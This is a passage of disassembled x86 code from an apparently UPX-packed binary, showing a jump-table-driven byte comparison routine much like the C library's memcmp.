loc_403478:				; CODE XREF: sub_40287E+BE7j
					; sub_40287E+BF6j
		test	esi, esi
		jnz	loc_402D4A


loc_403480:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-5]	; jumptable 00402D43 case 5
		cmp	edx, [ecx-5]
		jz	short loc_403505
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_4034A8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4034A8:				; CODE XREF: sub_40287E+C13j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_4034C9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4034C9:				; CODE XREF: sub_40287E+C34j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_4034EA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4034EA:				; CODE XREF: sub_40287E+C55j
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_403507
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403507
; ---------------------------------------------------------------------------


loc_403505:				; CODE XREF: sub_40287E+C08j
		xor	esi, esi


loc_403507:				; CODE XREF: sub_40287E+C76j
					; sub_40287E+C85j
		test	esi, esi
		jnz	loc_402D4A


loc_40350F:				; CODE XREF: sub_40287E+4C5j
					; sub_40287E+10B5j ...
		movzx	ecx, byte ptr [ecx-1] ;	jumptable 00402D43 case	1
		movzx	eax, byte ptr [eax-1]
		sub	eax, ecx
		jz	loc_40311F
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_40311F
; ---------------------------------------------------------------------------


loc_403531:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-1Eh]	; jumptable 00402D43 case 30
		cmp	edx, [ecx-1Eh]
		jz	short loc_4035B6
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_403559
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403559:				; CODE XREF: sub_40287E+CC4j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40357A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40357A:				; CODE XREF: sub_40287E+CE5j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40359B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40359B:				; CODE XREF: sub_40287E+D06j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_4035B8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_4035B8
; ---------------------------------------------------------------------------


loc_4035B6:				; CODE XREF: sub_40287E+CB9j
		xor	esi, esi


loc_4035B8:				; CODE XREF: sub_40287E+D27j
					; sub_40287E+D36j
		test	esi, esi
		jnz	loc_402D4A


loc_4035C0:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-1Ah]	; jumptable 00402D43 case 26
		cmp	edx, [ecx-1Ah]
		jz	short loc_403645
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_4035E8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4035E8:				; CODE XREF: sub_40287E+D53j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_403609
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403609:				; CODE XREF: sub_40287E+D74j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40362A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40362A:				; CODE XREF: sub_40287E+D95j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_403647
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403647
; ---------------------------------------------------------------------------


loc_403645:				; CODE XREF: sub_40287E+D48j
		xor	esi, esi


loc_403647:				; CODE XREF: sub_40287E+DB6j
					; sub_40287E+DC5j
		test	esi, esi
		jnz	loc_402D4A


loc_40364F:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-16h]	; jumptable 00402D43 case 22
		cmp	edx, [ecx-16h]
		jz	short loc_4036D4
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_403677
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403677:				; CODE XREF: sub_40287E+DE2j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_403698
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403698:				; CODE XREF: sub_40287E+E03j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_4036B9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4036B9:				; CODE XREF: sub_40287E+E24j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_4036D6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_4036D6
; ---------------------------------------------------------------------------


loc_4036D4:				; CODE XREF: sub_40287E+DD7j
		xor	esi, esi


loc_4036D6:				; CODE XREF: sub_40287E+E45j
					; sub_40287E+E54j
		test	esi, esi
		jnz	loc_402D4A


loc_4036DE:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-12h]	; jumptable 00402D43 case 18
		cmp	edx, [ecx-12h]
		jz	short loc_403763
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_403706
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403706:				; CODE XREF: sub_40287E+E71j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_403727
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403727:				; CODE XREF: sub_40287E+E92j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_403748
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403748:				; CODE XREF: sub_40287E+EB3j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_403765
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403765
; ---------------------------------------------------------------------------


loc_403763:				; CODE XREF: sub_40287E+E66j
		xor	esi, esi


loc_403765:				; CODE XREF: sub_40287E+ED4j
					; sub_40287E+EE3j
		test	esi, esi
		jnz	loc_402D4A


loc_40376D:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-0Eh]	; jumptable 00402D43 case 14
		cmp	edx, [ecx-0Eh]
		jz	short loc_4037F2
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_403795
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403795:				; CODE XREF: sub_40287E+F00j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_4037B6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4037B6:				; CODE XREF: sub_40287E+F21j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_4037D7
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4037D7:				; CODE XREF: sub_40287E+F42j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_4037F4
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_4037F4
; ---------------------------------------------------------------------------


loc_4037F2:				; CODE XREF: sub_40287E+EF5j
		xor	esi, esi


loc_4037F4:				; CODE XREF: sub_40287E+F63j
					; sub_40287E+F72j
		test	esi, esi
		jnz	loc_402D4A


loc_4037FC:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-0Ah]	; jumptable 00402D43 case 10
		cmp	edx, [ecx-0Ah]
		jz	short loc_403882
		movzx	edx, byte ptr [ecx-0Ah]
		movzx	esi, byte ptr [eax-0Ah]
		sub	esi, edx
		jz	short loc_403825
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403825:				; CODE XREF: sub_40287E+F90j
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_403846
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403846:				; CODE XREF: sub_40287E+FB1j
		movzx	edx, byte ptr [ecx-8]
		movzx	esi, byte ptr [eax-8]
		sub	esi, edx
		jz	short loc_403867
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403867:				; CODE XREF: sub_40287E+FD2j
		movzx	edx, byte ptr [ecx-7]
		movzx	esi, byte ptr [eax-7]
		sub	esi, edx
		jz	short loc_403884
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403884
; ---------------------------------------------------------------------------


loc_403882:				; CODE XREF: sub_40287E+F84j
		xor	esi, esi


loc_403884:				; CODE XREF: sub_40287E+FF3j
					; sub_40287E+1002j
		test	esi, esi
		jnz	loc_402D4A


loc_40388C:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-6]	; jumptable 00402D43 case 6
		cmp	edx, [ecx-6]
		jz	short loc_403911
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_4038B4
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4038B4:				; CODE XREF: sub_40287E+101Fj
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_4038D5
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4038D5:				; CODE XREF: sub_40287E+1040j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_4038F6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4038F6:				; CODE XREF: sub_40287E+1061j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_403913
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403913
; ---------------------------------------------------------------------------


loc_403911:				; CODE XREF: sub_40287E+1014j
		xor	esi, esi


loc_403913:				; CODE XREF: sub_40287E+1082j
					; sub_40287E+1091j
		test	esi, esi
		jnz	loc_402D4A


loc_40391B:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	dx, [eax-2]	; jumptable 00402D43 case 2
		cmp	dx, [ecx-2]
		jz	loc_40311D	; default
					; jumptable 00402D43 case 0


loc_403929:				; CODE XREF: sub_40287E+14C8j
					; sub_40287E+14DBj
		movzx	edx, byte ptr [ecx-2]
		movzx	esi, byte ptr [eax-2]
		sub	esi, edx
		jz	loc_40350F	; jumptable 00402D43 case 1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	loc_403D5F
		jmp	loc_40350F	; jumptable 00402D43 case 1
; ---------------------------------------------------------------------------


loc_403951:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-1Fh]	; jumptable 00402D43 case 31
		cmp	edx, [ecx-1Fh]
		jz	short loc_4039D7
		movzx	edx, byte ptr [ecx-1Fh]
		movzx	esi, byte ptr [eax-1Fh]
		sub	esi, edx
		jz	short loc_40397A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40397A:				; CODE XREF: sub_40287E+10E5j
		movzx	esi, byte ptr [eax-1Eh]
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_40399B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40399B:				; CODE XREF: sub_40287E+1106j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_4039BC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4039BC:				; CODE XREF: sub_40287E+1127j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_4039D9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_4039D9
; ---------------------------------------------------------------------------


loc_4039D7:				; CODE XREF: sub_40287E+10D9j
		xor	esi, esi


loc_4039D9:				; CODE XREF: sub_40287E+1148j
					; sub_40287E+1157j
		test	esi, esi
		jnz	loc_402D4A


loc_4039E1:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-1Bh]	; jumptable 00402D43 case 27
		cmp	edx, [ecx-1Bh]
		jz	short loc_403A66
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_403A09
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403A09:				; CODE XREF: sub_40287E+1174j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_403A2A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403A2A:				; CODE XREF: sub_40287E+1195j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_403A4B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403A4B:				; CODE XREF: sub_40287E+11B6j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_403A68
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403A68
; ---------------------------------------------------------------------------


loc_403A66:				; CODE XREF: sub_40287E+1169j
		xor	esi, esi


loc_403A68:				; CODE XREF: sub_40287E+11D7j
					; sub_40287E+11E6j
		test	esi, esi
		jnz	loc_402D4A


loc_403A70:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-17h]	; jumptable 00402D43 case 23
		cmp	edx, [ecx-17h]
		jz	short loc_403AF5
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_403A98
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403A98:				; CODE XREF: sub_40287E+1203j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_403AB9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403AB9:				; CODE XREF: sub_40287E+1224j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_403ADA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403ADA:				; CODE XREF: sub_40287E+1245j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_403AF7
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403AF7
; ---------------------------------------------------------------------------


loc_403AF5:				; CODE XREF: sub_40287E+11F8j
		xor	esi, esi


loc_403AF7:				; CODE XREF: sub_40287E+1266j
					; sub_40287E+1275j
		test	esi, esi
		jnz	loc_402D4A


loc_403AFF:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-13h]	; jumptable 00402D43 case 19
		cmp	edx, [ecx-13h]
		jz	short loc_403B84
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_403B27
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403B27:				; CODE XREF: sub_40287E+1292j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_403B48
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403B48:				; CODE XREF: sub_40287E+12B3j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_403B69
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403B69:				; CODE XREF: sub_40287E+12D4j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_403B86
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403B86
; ---------------------------------------------------------------------------


loc_403B84:				; CODE XREF: sub_40287E+1287j
		xor	esi, esi


loc_403B86:				; CODE XREF: sub_40287E+12F5j
					; sub_40287E+1304j
		test	esi, esi
		jnz	loc_402D4A


loc_403B8E:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-0Fh]	; jumptable 00402D43 case 15
		cmp	edx, [ecx-0Fh]
		jz	short loc_403C14
		movzx	edx, byte ptr [ecx-0Fh]
		movzx	esi, byte ptr [eax-0Fh]
		sub	esi, edx
		jz	short loc_403BB7
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403BB7:				; CODE XREF: sub_40287E+1322j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_403BD8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403BD8:				; CODE XREF: sub_40287E+1343j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_403BF9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403BF9:				; CODE XREF: sub_40287E+1364j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_403C16
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403C16
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_40287E+1316j
		xor	esi, esi


loc_403C16:				; CODE XREF: sub_40287E+1385j
					; sub_40287E+1394j
		test	esi, esi
		jnz	loc_402D4A


loc_403C1E:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-0Bh]	; jumptable 00402D43 case 11
		cmp	edx, [ecx-0Bh]
		jz	short loc_403CA3
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_403C46
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403C46:				; CODE XREF: sub_40287E+13B1j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_403C67
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403C67:				; CODE XREF: sub_40287E+13D2j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_403C88
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403C88:				; CODE XREF: sub_40287E+13F3j
		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_403CA5
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403CA5
; ---------------------------------------------------------------------------


loc_403CA3:				; CODE XREF: sub_40287E+13A6j
		xor	esi, esi


loc_403CA5:				; CODE XREF: sub_40287E+1414j
					; sub_40287E+1423j
		test	esi, esi
		jnz	loc_402D4A


loc_403CAD:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-7]	; jumptable 00402D43 case 7
		cmp	edx, [ecx-7]
		jz	short loc_403D32
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_403CD5
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403CD5:				; CODE XREF: sub_40287E+1440j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_403CF6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403CF6:				; CODE XREF: sub_40287E+1461j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_403D17
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403D17:				; CODE XREF: sub_40287E+1482j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_403D34
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403D34
; ---------------------------------------------------------------------------


loc_403D32:				; CODE XREF: sub_40287E+1435j
		xor	esi, esi


loc_403D34:				; CODE XREF: sub_40287E+14A3j
					; sub_40287E+14B2j
		test	esi, esi
		jnz	loc_402D4A


loc_403D3C:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		movzx	esi, byte ptr [eax-3] ;	jumptable 00402D43 case	3
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	loc_403929
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	loc_403929


loc_403D5F:				; CODE XREF: sub_40287E+10C8j
		mov	eax, edx
		jmp	loc_40311F
; ---------------------------------------------------------------------------


loc_403D66:				; CODE XREF: sub_40287E+29j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_403D8B
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_403E78


loc_403D8B:				; CODE XREF: sub_40287E+14F6j
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_403DAC
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_403E78


loc_403DAC:				; CODE XREF: sub_40287E+1517j
		movzx	eax, byte ptr [ecx+2]
		movzx	edx, byte ptr [esi+2]
		sub	eax, edx
		jz	short loc_403DCD
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_403E78


loc_403DCD:				; CODE XREF: sub_40287E+1538j
		movzx	eax, byte ptr [ecx+3]
		movzx	ecx, byte ptr [esi+3]


loc_403DD5:				; CODE XREF: sub_40287E+15B7j
					; sub_40287E+15E2j ...
		sub	eax, ecx
		jz	loc_403E78
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_403E78
; ---------------------------------------------------------------------------


loc_403DEF:				; CODE XREF: sub_40287E+22j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_403E10
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_403E78


loc_403E10:				; CODE XREF: sub_40287E+157Fj
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_403E2D
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_403E78


loc_403E2D:				; CODE XREF: sub_40287E+159Cj
		movzx	eax, byte ptr [ecx+2]
